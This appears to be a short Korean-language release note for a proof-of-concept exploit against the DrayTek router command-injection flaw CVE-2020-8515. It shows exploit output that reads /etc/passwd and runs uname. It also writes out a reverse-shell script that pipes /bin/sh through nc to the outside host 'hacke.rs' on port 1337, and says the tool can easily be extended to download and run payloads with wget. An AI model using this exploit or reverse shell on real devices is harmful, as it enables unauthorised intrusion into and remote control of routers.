
Draytek CVE-2020-8515 PoC
예전에 굴러다니던 Draytek CVE-2020-8515 PoC입니다.
재미있게도, 주입된 명령이 두 번 실행됩니다. 아래를 보세요:
$ ./draytek.py draytek.local
(>) executing command: cat /etc/passwd
(+) vulnerable!
(>) executing command: uname -a
Linux Vigor3900 2.6.33.5 #1 Wed Mar 28 00:49:28 CST 2018 armv6l unknown
Linux Vigor3900 2.6.33.5 #1 Wed Mar 28 00:49:28 CST 2018 armv6l unknown
이걸 깔끔하게 다듬을 계획이 좀 있었는데, 솔직히, 벌써 1년쯤 지났고 그 계획이 뭐였는지 기억이 나지 않네요. 그래서 그냥 공개합니다. 여기에 wget/chmod/exec 같은 것을 추가하는 건 어렵지 않습니다. 그냥 "do_stuff" 함수를 보세요.
wget으로 내려받아 다음과 같은 스크립트를 실행하면 리버스 셸을 얻을 수 있습니다:
#!/bin/sh
HOST="hacke.rs"
PORT=1337
rm -f /tmp/a; mkfifo /tmp/a; nc $HOST $PORT 0</tmp/a | /bin/sh >/tmp/a 2>&1; rm /tmp/a
주입 과정에서 bad chars를 우회할 수 있다면 아마 그런 스크립트를 echoload할 수도 있을 것 같습니다. 나중에 추가할 수도 있겠네요. 다만 이중 실행 문제 때문에 그게 꽤 번거롭긴 합니다. 어쨌든 지금은 반쯤 만든 상태, "사용자 판단에 맡깁니다".
이 익스플로잇은 ITW(실제 환경)에서 큰 피해를 주지는 않을 겁니다. 이 취약점에 노출된 장비들은 아마 이미 스크립트 키디들의 DDoS 봇넷에 장악됐을 테니까요.
스캔용으로는: 누군가 만든 nuclei 템플릿을 사용하세요.